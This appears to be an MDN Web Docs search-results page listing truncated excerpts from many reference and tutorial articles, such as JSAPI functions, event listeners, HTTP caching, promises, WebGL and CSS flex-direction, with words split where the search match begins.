... 242 js_destroyidarray jsapi reference, spidermonkey js_destroyidarray frees the id array pointed to by ida. 243 js_destroyruntime jsapi reference, spidermonkey js_destroyruntime frees the specified the javascript runtime environment, rt. call js_destroyruntime after completing all other js api calls. js_destroyruntime garbage collects and frees the memory p
reviously allocated by js_newruntime. 244 js_destroyscript jsapi reference, obsolete, spidermonkey js_destroyscript destroys the given compiled script, freeing the memory allocated to it. the script must not be currently executing (in any context, at any level of the stack) and must not be used again afterwards. 245 js_doubleisint32 jsapi reference, spidermonkey ...
...uatescriptforprincipals jsapi reference, obsolete, spidermonkey no summary! 263 js_executeregexp jsapi reference, spidermonkey js_executeregexp and js_newregexpobjectnostatics execute the regexp object, reobj, to the specified input string, chars, from *indexp index. 264 js_executescript jsapi reference, spidermonkey js_executescript executes a p
reviously-compiled script, script. 265 js_executescriptpart jsapi reference, obsolete, spidermonkey js_executescriptpart executes part of a p
reviously compiled script, script. the part parameter must be either jsexec_prolog to execute the script prolog or jsexec_main to execute the main section of the script. 266 js_executescriptversion jsapi reference, obsolete, s...
...And 9 more matches
EventTarget.addEventListener() - Web APIs
of this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree. once a boolean indicating that the listener should be invoked at most once after being added. if true, the listener would be automatically removed when invoked. passive a boolean that, if true, indicates that the function specified by listener will never call p
reventdefault(). if a passive listener does call p
reventdefault(), the user agent will do nothing other than generate a console warning. see improving scrolling performance with passive listeners to learn more. mozsystemgroup a boolean indicating that the listener should be added to the system group. available only in code running in xbl or in the chrome of the firefox browser. usecapture ...
... that means that the variables and constants available to the containing function are also available to the event handler when using an arrow function. ...
... example of options usage html <div class="outer"> outer, once & none-once <div class="middle" target="_blank"> middle, capture & none-capture <a class="inner1" href="https://www.mozilla.org" target="_blank"> inner1, passive & p
reventdefault(which is not allowed) </a> <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> inner2, none-passive & p
reventdefault(not open new page) </a> </div> </div> css .outer, .middle, .inner1, .inner2 { display: block; width: 520px; padding: 15px; margin: 15px; text-decoration: none; } .outer { border: 1px solid red; color: red; } .middle { border: 1px solid green; color: green; width: 460px; } .inner1, .inner2 { border: 1px solid purple; color: purple; width: 400px;...
...And 9 more matches
Drag Operations - Web APIs
none no operation is permitted copy copy only move move only link link only copymove copy or move only copylink copy or link only linkmove link or move only all copy, move, or link uninitialized the default value is all. note that these values must be used exactly as listed above. for example, setting the effectallowed property to copymove allows a copy or move operation but p
revents the user from performing a link operation. if you don't change the effectallowed property, then any operation is allowed, just like with the 'all' value. so you don't need to adjust this property unless you want to exclude specific types. during a drag operation, a listener for the dragenter or dragover events can check the effectallowed property to see which operations are permitted. a rela...
... the source of the drag within the dragend event. specifying drop targets a listener for the dragenter and dragover events are used to indicate valid drop targets, that is, places where dragged items may be dropped. most areas of a web page or application are not valid places to drop data. thus, the default handling of these events is not to allow a drop. ...
...gged items may be dropped. most areas of a web page or application are not valid places to drop data. thus, the default handling of these events is not to allow a drop. if you want to allow a drop, you must p
revent the default handling by cancelling both the dragenter and dragover events. you can do this either by returning false from attribute-defined event listeners, or by calling the event's p
reventdefault() method. the latter may be more feasible in a function defined in a separate script. ...
...And 9 more matches
HTTP caching - HTTP
web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource. by making use of http caching, web sites become more responsive. different kinds of caches caching is a technique that stores a copy of a given resource and serves it back when requested. when a web cache has a requested resource in its store, it intercepts the request and returns its copy instead of re-downloading from the originating server. ...
...ating server. this achieves several goals: it eases the load of the server that doesn’t need to serve all clients itself, and it improves performance by being closer to the client, i.e., it takes less time to transmit the resource back. for a web site, it is a major component in achieving high performance. on the other side, it has to be configured properly as not all resources stay identical fo
rever: it is important to cache a resource only until it changes, not longer. there are several kinds of caches: these can be grouped into two main categories: private or shared caches. a shared cache is a cache that stores responses for reuse by more than one user. a private cache is dedicated to a single user. this page will mostly talk about browser and proxy caches, but there are also gateway ca...
...mportant to cache a resource only until it changes, not longer. there are several kinds of caches: these can be grouped into two main categories: private or shared caches. a shared cache is a cache that stores responses for reuse by more than one user. a private cache is dedicated to a single user. this page will mostly talk about browser and proxy caches, but there are also gateway caches, cdn,
reverse proxy caches and load balancers that are deployed on web servers for better reliability, performance and scaling of web sites and web applications. private browser caches a private cache is dedicated to a single user. you might have seen "caching" in your browser's settings already. a browser cache holds all documents downloaded via http by the user. this cache is used to make visited doc...
...And 9 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
case the patch won't apply cleanly. if the breakage is minor you'll be able to fix it by hand. if it's major you'll need to do a private update of that other repo in order to test. but don't push that update, as that should only be done by a member of that public repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a
review. generally, patches by mozilla people should be
reviewed by adobe people and vice versa. once it passes
review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the
revision in a comment. (note that nanojit-central
revision urls have the form http://hg.mozilla.org/projects/nanojit-central/<
revid>, ie. there is a projects/ subdir in there. you might find it e...
...whoever does the next tm/tr update (scenario 3 below) will deal with the other patches. scenario 3: doing a periodic nj-to-tm/tr update this step is only done by certain people. ...
... find it easier to just cut-and-paste links from the commit log.) you're done, but watch the nanojit tinderbox for breakage. scenario 2: creating an external patch write and test the patch, as in scenario 1 above. split the patch into three parts: nanojit, tracemonkey, tamarin. file them all in a single bug.
reviews should involve people from both mozilla and adobe. once all the patches pass
review, land the nanojit patch on nanojit-central and mark the bug as fixed-in-nanojit. whoever does the next tm/tr update (scenario 3 below) will deal with the other patches. scenario 3: doing a periodic nj-to-tm/tr update this step is only done by certain people. nnethercote usually does it for mozilla, edwsmith and stejohns usually do it for adobe. note that you'd only do this for your company'...
...And 8 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
, the encrypted information is unintelligible to an intruder. tamper detection allows the recipient of information to verify that it has not been modified in transit. any attempt to modify data or substitute a false message for a legitimate one will be detected. authentication allows the recipient of information to determine its origin-that is, to confirm the sender's identity. nonrepudiation p
revents the sender of information from claiming at a later date that the information was never sent. the sections that follow introduce the concepts of public-key cryptography that underlie these capabilities. certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication confirms an identity how certific...
... be used. in general, before issuing a certificate, the ca must use its published verification procedures for that type of certificate to ensure that an entity requesting a certificate is in fact who it claims to be. the certificate issued by the ca binds a particular public key to the name of the entity the certificate identifies (such as the name of an employee or a server). certificates help p
revent the use of fake public keys for impersonation. only the public key certified by the certificate will work with the corresponding private key possessed by the entity identified by the certificate. in addition to a public key, a certificate always includes the name of the entity it identifies, an expiration date, the name of the ca that issued the certificate, a serial number, and other informa...
...y this line: -----end certificate----- distinguished names an x.509 v3 certificate binds a distinguished name (dn) to a public key. a dn is a series of name-value pairs, such as uid=doe, that uniquely identify an entity-that is, the certificate subject. for example, this might be a typical dn for an employee of example corp: uid=doe,e=doe@example.net,cn=john doe,o=example corp.,c=us the abb
reviations before each equal sign in this example have these meanings: uid: user id e: email address cn: the user's common name o: organization c: country dns may include a variety of other name-value pairs. they are used to identify both certificate subjects and entries in directories that support the lightweight directory access protocol (ldap). the rules governing the construction of dns...
...And 8 more matches
Anatomy of a video game - Game development
cannot really get more smooth and responsive than that. but do not immediately assume animations require frame-by-frame control. simple animations can be easily performed, even gpu-accelerated, with css animations and other tools included in the browser. there are a lot of them and they will make your life easier. building a better main loop in javascript there are two obvious issues with our p
revious main loop: main() pollutes the window object (where all global variables are stored) and the example code did not leave us with a way to stop the loop unless the whole tab is closed or refreshed. for the first issue, if you want the main loop to just run and you do not need easy (direct) access to it, you could create it as an immediately-invoked function expression (iife). /* * starting wit...
...shed. for the first issue, if you want the main loop to just run and you do not need easy (direct) access to it, you could create it as an immediately-invoked function expression (iife). /* * starting with the semicolon is in case whatever line of code above this example * relied on automatic semicolon insertion (asi). the browser could accidentally * think this whole example continues from the p
revious line. the leading semicolon * marks the beginning of our new line if the p
revious one was not empty or terminated. */ ;(function () { function main() { window.requestanimationframe( main ); // your main loop contents } main(); // start the cycle })(); when the browser comes across this iife, it will define your main loop and immediately queue it for the next frame. it will n...
... // your main loop contents } main(); // start the cycle })(); when the browser comes across this iife, it will define your main loop and immediately queue it for the next frame. it will not be attached to any object and main (or main() for methods) will be a valid unused name in the rest of the application, free to be defined as something else. note: in practice, it is more common to p
revent the next requestanimationframe() with an if-statement, rather than calling cancelanimationframe(). for the second issue, stopping the main loop, you will need to cancel the call to main() with window.cancelanimationframe(). you will need to pass cancelanimationframe() the id token given by requestanimationframe() when it was last called. let us assume that your game's functions and variables...
...And 8 more matches
Graceful asynchronous programming with Promises - Learn web development
this is useful for setting up a sequence of async operations to work correctly. this article shows you how promises work, how you'll see them in use with web apis, and how to write your own. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to understand promises and how to use them. what are promises? we looked at promises briefly in the first article of the course, but here we'll look at them in a lot more depth. ...
...example. the trouble with callbacks to fully understand why promises are a good thing, it helps to think back to old-style callbacks and to appreciate why they are problematic. let's talk about ordering pizza as an analogy. there are certain steps that you have to take for your order to be successful, which doesn't really make sense to try to execute out of order, or in order but before each p
revious step has quite finished: you choose what toppings you want. this can take a while if you are indecisive, and may fail if you just can't make up your mind, or decide to get a curry instead. you then place your order. this can take a while to return a pizza and may fail if the restaurant does not have the required ingredients to cook it. you then collect your pizza and eat. this might fail...
...we're able to chain multiple asynchronous actions to occur one after another this way because each .then() block returns a new promise that resolves when the .then() block is done running. clever, right? using arrow functions, you can simplify the code even further: choosetoppings() .then(toppings => placeorder(toppings) ) .then(order => collectord...
...And 8 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
a set number of times per second), discusses what they are useful for, and considers their inherent issues. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to understand asynchronous loops and intervals and what they are useful for. ...
...an identifier value that can be used to refer to the timeout later, such as when you want to stop it. see clearing timeouts (below) to learn how to do that. passing parameters to a settimeout() function any parameters that you want to pass to the function being run inside the settimeout() must be passed to it as additional parameters at the end of the list. for example, you could refactor the p
revious function so that it will say hi to whatever person's name is passed to it: function sayhi(who) { alert(`hello ${who}!`); } now, you can pass the name of the person into the settimeout() call as a third parameter: let mygreeting = settimeout(sayhi, 2000, 'mr. universe'); clearing timeouts finally, if a timeout has been created, you can cancel it before the specified time has elapsed by ...
...ee the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval. clearing intervals setinterval() keeps running a task fo
rever, unless you do something about it. you'll probably want a way to stop such tasks, otherwise you may end up getting errors when the browser can't complete any further versions of the task, or if the animation being handled by the task has finished. you can do this the same way you stop timeouts — by passing the identifier returned by the setinterval() call to the clearinterval() function: con...
...And 8 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page. ...
...ew different text files and use them to populate a content area. this series of files will act as our fake database; in a real application, we'd be more likely to use a server-side language like php, python, or node to request our data from a database. here, however, we want to keep it simple and concentrate on the client-side part of this. xmlhttprequest xmlhttprequest (which is frequently abb
reviated to xhr) is a fairly old technology now — it was invented by microsoft in the late '90s, and has been standardized across browsers for quite a long time. to begin this example, make a local copy of ajax-start.html and the four text files — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — in a new directory on your computer. in this example, we will load a different verse of th...
...ct's value is changed, its value is passed to an invoked function updatedisplay() as a parameter. const versechoose = document.queryselector('select'); const poemdisplay = document.queryselector('pre'); versechoose.onchange = function() { const verse = versechoose.value; updatedisplay(verse); }; let's define our updatedisplay() function. first of all, put the following beneath your p
revious code block — this is the empty shell of the function. note: steps 4 - 9 will all be performed within this function. function updatedisplay(verse) { } we'll start our function by constructing a relative url pointing to the text file we want to load, as we'll need it later. the value of the <select> element at any time is the same as the text inside the selected <option> (unless you...
...And 8 more matches
A first splash into JavaScript - Learn web development
here you'll build up a simple "guess the number" game, step by step. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to have a first bit of experience at writing some javascript, and gain at least a basic understanding of what writing a javascript program involves. ...
...first bit of experience at writing some javascript, and gain at least a basic understanding of what writing a javascript program involves. you won't be expected to understand all of the code in detail immediately — we just want to introduce you to the high-level concepts for now, and give you an idea of how javascript (and other programming languages) work. in subsequent articles, you'll
revisit all these features in a lot more detail! note: many of the code features you'll see in javascript are the same as in other programming languages — functions, loops, etc. the code syntax looks different, but the concepts are still largely the same. thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to sol...
...k, experience with the programming syntax, and practice — plus a bit of creativity. the more you code, the better you'll get at it. we can't promise that you'll develop "programmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a programmer throughout the course. with that in mind, let's look at the example we'll be building up in this article, and
review the general process of dissecting it into tangible tasks. example — guess the number game in this article we'll show you how to build up the simple game you can see below: top hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>number guessing game</title> <style> html { font-family: sans-serif; } body { w...
...And 8 more matches
Introducing a complete toolchain - Learn web development
we'll go all the way from setting up a sensible development environment and putting transformation tools in place to actually deploying your app on netlify. in this article we'll introduce the case study, set up our development environment, and set up our code transformation tools. prerequisites: familiarity with the core html, css, and javascript languages. objective: to solidify what we've learnt so far by working through a complete toolchain case study. ...
...efore adding them to the project. a couple of prerequisites besides the tools we're going to install that contribute to our toolchain, we mentioned two web services in the above list of tools. let's take this opportunity to make sure we are set up with them before we continue. you will need to create accounts with each of github and netlify if you wish to complete the tutorial. as mentioned p
reviously, github is a source code repository service that adds community features such as issue tracking, following project releases and much more. in the next chapter we will push to a github code repository, which will cause a cascade effect that (should) deploy all the software to a home on the web. netlify is a hosting service for static websites (that is, websites that entirely consist of file...
... wifi, and usb ports! there might be important decorations or music that help with your mental state — these are all important to doing your best work possible, and they should also only need to be set up once, if done properly. in the same way, setting up your development environment, if done well, needs doing only once and should be reusable in many future projects. you will probably want to
review this part of the toolchain semi-regularly and consider if there's any upgrades or changes you should introduce, but this shouldn't be required too often. your toolchain will depend on your own needs, but for this example of a (possible) complete toolchain, the tools that will be installed up front will be: library installation tools — for adding dependencies. code
revision control. cod...
...And 8 more matches
Recording a media element - Web APIs
tton. the "download" button will download the received data (although it's in a raw, unwrapped form that isn't very useful). </p> <br> let's start by looking at the key bits of the html. there's a little more than this, but it's just informational rather than being part of the core operation of the app. <div class="left"> <div id="startbutton" class="button"> start </div> <h2>p
review</h2> <video id="p
review" width="160" height="120" autoplay muted></video> </div> we present our main interface in two columns. on the left is a start button and a <video> element which displays the video p
review; this is the video the user's camera sees. note that the autoplay attribute is used so that as soon as the stream starts to arrive from the camera, it immediately gets displayed, a...
...float: left; width: 160px; padding: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript content now let's have a look at the javascript code; this is where the majority of the action happens, after all! setting up global variables we start by establishing some global variables we'll need. ...
...ing: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript content now let's have a look at the javascript code; this is where the majority of the action happens, after all! setting up global variables we start by establishing some global variables we'll need. let p
review = document.getelementbyid("p
review"); let recording = document.getelementbyid("recording"); let startbutton = document.getelementbyid("startbutton"); let stopbutton = document.getelementbyid("stopbutton"); let downloadbutton = document.getelementbyid("downloadbutton"); let logelement = document.getelementbyid("log"); let recordingtimems = 5000; most of these are references to elements we need to work with. the last, recordin...
...And 8 more matches
WebGL model view projection - Web APIs
depth : -1.5, // z color : [0.4, 0.4, 1, 1] // blue }); the results view on jsfiddle exercise a helpful exercise at this point is to move the boxes around the clip space by varying the code to get a feel for how points get clipped and moved around in clip space. try drawing a picture like a boxy smiley face with a background. homogeneous coordinates the main line of the p
revious clip space vertex shader contained this code: gl_position = vec4(position, 1.0); the position variable was defined in the draw() method and passed in as an attribute to the shader. this is a three dimensional point, but the gl_position variable that ends up getting passed down through the pipeline is actually 4 dimensional — instead of (x, y, z) it is (x, y, z, w). there is no letter aft...
...space and it can easily be demonstrated how to construct this type of coordinate through a pair of simple functions. function cartesiantohomogeneous(point) let x = point[0]; let y = point[1]; let z = point[2]; return [x, y, z, 1]; } function homogeneoustocartesian(point) { let x = point[0]; let y = point[1]; let z = point[2]; let w = point[3]; return [x/w, y/w, z/w]; } as p
reviously mentioned and shown in the functions above, the w component divides the x, y, and z components. when the w component is a non-zero real number then homogeneous coordinate easily translates back into a normal point in cartesian space. now what happens if the w component is zero? in javascript the value returned would be as follows. homogeneoustocartesian([10, 4, 5, 0]); this evaluates to:...
... fact, the typical perspective projection matrix uses the division by the w component to achieve its transformation. the clipping of points and polygons from clip space actually happens after the homogeneous coordinates have been transformed back into cartesian coordinates (by dividing by w). this final space is known as normalized device coordinates or ndc. to start playing with this idea the p
revious example can be modified to allow for the use of the w component. //redefine the triangles to use the w component var data = new float32array([ //triangle 1 settings.left, settings.bottom, settings.depth, settings.w, settings.right, settings.bottom, settings.depth, settings.w, settings.left, settings.top, settings.depth, settings.w, //triangle 2 settings.left, settings.top,...
...And 8 more matches
Border-radius generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-radius effects. ...
...order-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * p
review area */ #p
review { height: 500px; border: 1px solid #ccc; border-radius: 3px; text-align: center; overflow: hidden; position: relative; } #p
review .content { width: 100%; height: 100%; display: block; } #p
review input { color: #333; border: 1px solid #ccc; border-radius: 3px; } #subject { width: 400px; height: 150px; margin: 0 auto; border: 3px solid #c60; background: #ff...
...{ top: 0; right: 0; } #top-right .radius { border-top-right-radius: 100%; top: 0; right: 0; } /* bottom right */ #bottom-right { bottom: 0; right: 0; } #bottom-right .radius { border-bottom-right-radius: 100%; bottom: 0; right: 0; } /* bottom left */ #bottom-left { bottom: 0; left: 0; } #bottom-left .radius { border-bottom-left-radius: 100%; bottom: 0; } /* input sliders */ #p
review .ui-input-slider { margin: 10px; position: absolute; z-index: 10; } #radius-ui-sliders { width: 100%; height: 100%; min-height: 75px; min-width: 150px; padding: 20px 50px; top: -20px; left: -50px; position: relative; } #tlr { top: -30px; left: -50px; display: none; } #tlw { top: -30px; left: 30px; } #tlh { top: 20px; left: -50px; } #trr { top: -30px; right: -50px; dis...
...And 8 more matches
HTTP headers - HTTP
ate amount of ram client has. save-data a boolean that indicates the user agent's preference for reduced data usage. viewport-width a number that indicates the layout viewport width in css pixels. the provided pixel value is a number rounded to the smallest following integer (i.e. ceiling value). if viewport-width occurs in a message more than once, the last value overrides all p
revious occurrences. width the width request header field is a number that indicates the desired resource width in physical pixels (i.e. intrinsic size of an image). the provided pixel value is a number rounded to the smallest following integer (i.e. ceiling value). if the desired resource width is not known at the time of the request or the resource does not have a display width, t...
...e width in physical pixels (i.e. intrinsic size of an image). the provided pixel value is a number rounded to the smallest following integer (i.e. ceiling value). if the desired resource width is not known at the time of the request or the resource does not have a display width, the width header field can be omitted. if width occurs in a message more than once, the last value overrides all p
revious occurrences conditionals last-modified the last modification date of the resource, used to compare several versions of the same resource. it is less accurate than etag, but easier to calculate in some environments. conditional requests using if-modified-since and if-unmodified-since use this value to change the behavior of the request. etag a unique string identifying the version ...
...if-match and if-none-match use this value to change the behavior of the request. if-match makes the request conditional, and applies the method only if the stored resource matches one of the given etags. if-none-match makes the request conditional, and applies the method only if the stored resource doesn't match any of the given etags. this is used to update caches (for safe requests), or to p
revent to upload a new resource when one already exists. if-modified-since makes the request conditional, and expects the entity to be transmitted only if it has been modified after the given date. this is used to transmit data only when the cache is out of date. if-unmodified-since makes the request conditional, and expects the entity to be transmitted only if it has not been modified after the ...
...And 8 more matches
XBL Example - Archive of obsolete content
a slideshow element let's construct a full example of an xbl element. this will be a widget that stores a deck of objects, each displayed one at a time. navigation buttons along the bottom will allow the user to cycle through the objects while a text widget between the buttons will display the current page. you could put anything within the pages, however, this widget might be useful for a set of images. we'll call this a slideshow element. content of the slideshow first, let's determine what elements need to go in the xbl content. because we want page flipping, a deck element would be the most suitable to hold the page content. ...
...nt. content of the slideshow first, let's determine what elements need to go in the xbl content. because we want page flipping, a deck element would be the most suitable to hold the page content. the content of the pages will be specified in the xul file, not in xbl, but we'll need to add it inside the deck. the children tag will need to be used. ...
...the flex attribute has been added to a number of elements so that it stretches in the right way. ...
...And 7 more matches
source-editor.jsm
sentially an implementation detail. its functionality is all exposed through source-editor.jsm. ...
...from your most recent save. in addition, when this value changes, the "dirtychanged" event is sent. editorelement element the element containing the editor. when using the default orion editor, this is a xul <xul:iframe> element. read only. lastfind object an object describing the result of the last find operation performed using the find(), findnext(), or findp
revious() method. read only. this object has the following properties: property type description str string the last string that was searched for. index number an integer value indicating the result of the most recent find operation; this is the index into the text at which str was found...
...y type description str string the last string that was searched for. index number an integer value indicating the result of the most recent find operation; this is the index into the text at which str was found, or -1 if the string wasn't found. ...
...And 7 more matches
Mozilla Development Strategies
mozilla\config\fast-update.pl for a fast way to update your tree. you can update your main mozilla tree (minus nsprpub, etc) in 1-2 minutes. work on multiple bugs in parallel you should be working on the most important bugs first. but those might be difficult bugs (hard to reproduce crashers, big rewrites for performance, etc.) which can take several days or weeks to complete, plus the time for
reviews. in your other trees, work on smaller, easier bugs. pick bugs that won't cause conflicts with the work you're doing in your primary tree. pick bugs that should only take you a few hours or a day to fix. in theory, fixes for these bugs will be quick to
review. if you have problems finding smaller, easier bugs to work on, start by looking for crashers. maybe the problem can be turned into an a...
...g for crashers. maybe the problem can be turned into an assert, or fixed altogether. you can use talkback queries or bugzilla queries to find crashers. look for problems in existing code. find and fix string usage problems. find and fix bad xpcom macro usage. switch some code over to nscomptrs. look for xxx or todo in the code, verify the code still needs fixing, and fix it. smaller patches get
reviewed faster if you find that you spend a lot of time waiting for
reviews, keep in mind that patch size is not linear to time to
review. a twenty line patch doesn't take twice as long to
review as a ten line patch, it usually takes much more time. if you can divide and conquer what you are working on into smaller chunks, you will find you'll get faster
reviews. of course, not everything can be di...
...oesn't take twice as long to
review as a ten line patch, it usually takes much more time. if you can divide and conquer what you are working on into smaller chunks, you will find you'll get faster
reviews. of course, not everything can be divided up. and, shorter fixes aren't necessarily better than longer ones. having parallel trees should allow you to work on other items while you are awaiting
reviews. get advice before working on a patch or feature, instead of after if you are blocked, or stumped as to what to work on, talk to a lead sooner rather than later. most likely they will have a bug they can hand off to you, or they can help get you unblocked. since they are going to be
reviewing your code later, run your plan of attack by them first. it's better to have an idea rejected, than ...
...And 7 more matches
Web Replay
build of firefox and a reasonably similar version of the operating system; otherwise the tab will probably crash. this feature has had little testing or polishing and there is not yet a good definition of 'reasonably similar'. time travel features this section describes extensions to the developer tools that use time travel to help debug a recording/replaying tab. step back when paused, the
reverse step button in the debugger developer tool will step to the p
revious line executed and allow inspecting program state there. it is the opposite of the normal forward step button. rewind to breakpoint when paused, if there are any breakpoints set then the rewind button will run back and stop at the last time a breakpoint was set. it is the opposite of the normal button for playing forwar...
... and stop at the last time a breakpoint was set. it is the opposite of the normal button for playing forward. seek to console messages errors and logged messages in the console developer tool can be clicked on to cause the tab to seek to the point in the recording where the error was generated or the message was logged. the tab will pause at this point and allow state to be inspected, forward/
reverse stepping, and so forth. timeline the timeline is shown above the developer tools and provides several features to help with navigating the recording: the timeline changes color depending on whether the tab is currently recording (red) or replaying (blue). the current position within the recording is shown on the timeline with a progress indicator. console error/messages are marked on t...
...tecture there are several main components to the project: the record/replay infrastructure records enough information during recording so that the replayed process can run and produce the same observable behaviors. ipc integration allows a replaying process to communicate with the chrome process using ipdl and shared memory. the rewind infrastructure allows a replaying process to restore a p
revious state, while still maintaining communication with the chrome process. debugger integration allows the js debugger to read the information it needs from a replaying process and control the process's execution (resume/rewind). the debugger is not allowed to change the replaying process's observable state. record/replay infrastructure broadly, reliable record/replay is achieved by controlli...
...And 7 more matches
nsIDOMWindowUtils
ko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean ap
reventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in unsigned long aadditionalflags); deprecated since gecko 38.0 void sendmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); ...
...ong aoffset, in unsigned long alength, in long ax, in long ay); obsolete since gecko 31.0 nsiquerycontenteventresult sendquerycontentevent(in unsigned long atype, in unsigned long aoffset, in unsigned long alength, in long ax, in long ay, [optional] in unsigned long aadditionalflags); boolean sendselectionsetevent(in unsigned long aoffset, in unsigned long alength, in boolean a
reverse); obsolete since gecko 31.0 boolean sendselectionsetevent(in unsigned long aoffset, in unsigned long alength, [optional] in unsigned long aadditionalflags); void sendsimplegestureevent(in astring atype, in float ax, in float ay, in unsigned long adirection, in double adelta, in long amodifiers); void sendtextevent(in astring acompositionstring, in long afirstclau...
...unaccelerated; other types are accelerated. throws an error if there is no widget associated with this window. read only. outerwindowid unsigned long long the id of the window's outer window. read only. paintingsuppressed boolean true if painting is currently suppressed for this window; otherwise false. read only. this is used on mobile, for example, to p
revent attempts to render content until enough of the page has been loaded to avoid content bouncing around excessively as more content is loaded. screenpixelspercsspixel float returns the number of screen pixels per css pixel. read only. audiomuted boolean with this it's possible to mute all the mediaelements in this window. we have audiomuted and audiovolume to pr...
...And 7 more matches
Window.open() - Web APIs
st create a new window. to open a new window on every call of window.open(), use the special value _blank for windowname. note on the use of window.open() to reopen an existing window with name windowname : this functionality is not valid for all browsers and more with variable conditions. firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the p
reviously created window. google chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). this is a wide limitation and generates unbelievable complexity of development. firefox (51.) gets the handle but cannot run any element.focus() while chrome can run focus() from opener to child but not between siblings nor, ...
...iously created window. google chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). this is a wide limitation and generates unbelievable complexity of development. firefox (51.) gets the handle but cannot run any element.focus() while chrome can run focus() from opener to child but not between siblings nor,
reverse, from child to opener. this function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). for now 10/01/2017 the differencies of behavior found recently have not still been tested for others browsers. window features windowfeatures is an optional string conta...
...ow is opened, javascript can't be used to change the features. if windowname does not specify an existing window and the windowfeatures parameter is not provided (or if the windowfeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window. tip: note that in some browsers, users can override the windowfeatures settings and enable (or p
revent the disabling of) features position and size features windowfeatures parameter can specify the position and size of the new window. note on position and dimension error correction position if only one of them is specified, the behavior is implementation-dependent, and web author should not rely on it. left or screenx specifies the distance the new window is placed from the left sid...
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
iner"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="p
review_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <di...
...s="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="p
review"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> ...
...iv> <div class="info"> <div class="input" data-topic="r" data-title='r:' data-action="rgb"></div> <div class="input" data-topic="g" data-title='g:' data-action="rgb"></div> <div class="input" data-topic="b" data-title='b:' data-action="rgb"></div> </div> <div class="p
review block"> <div id="output_color"> </div> </div> <div class="block info"> <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> </div> </div> ...
...And 7 more matches
flex-direction - CSS: Cascading Style Sheets
the flex-direction css property sets how flex items are placed in the flex container defining the main axis and the direction (normal or
reversed). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that the values row and row-
reverse are affected by the directionality of the flex container. if its dir attribute is ltr, row represents the horizontal axis oriented from the left to the right, and row-
reverse from the right to the left; if the dir attribute is rtl, row represents the axis oriented from the right to the left, and row-
reverse from the left to the right. syntax /* the direction text is laid out in a ...
... of the flex container. if its dir attribute is ltr, row represents the horizontal axis oriented from the left to the right, and row-
reverse from the right to the left; if the dir attribute is rtl, row represents the axis oriented from the right to the left, and row-
reverse from the left to the right. ...
...ir attribute is ltr, row represents the horizontal axis oriented from the left to the right, and row-
reverse from the right to the left; if the dir attribute is rtl, row represents the axis oriented from the right to the left, and row-
reverse from the left to the right. syntax /* the direction text is laid out in a line */ flex-direction: row; /* like <row>, but
reversed */ flex-direction: row-
reverse; /* the direction in which lines of text are stacked */ flex-direction: column; /* like <column>, but
reversed */ flex-direction: column-
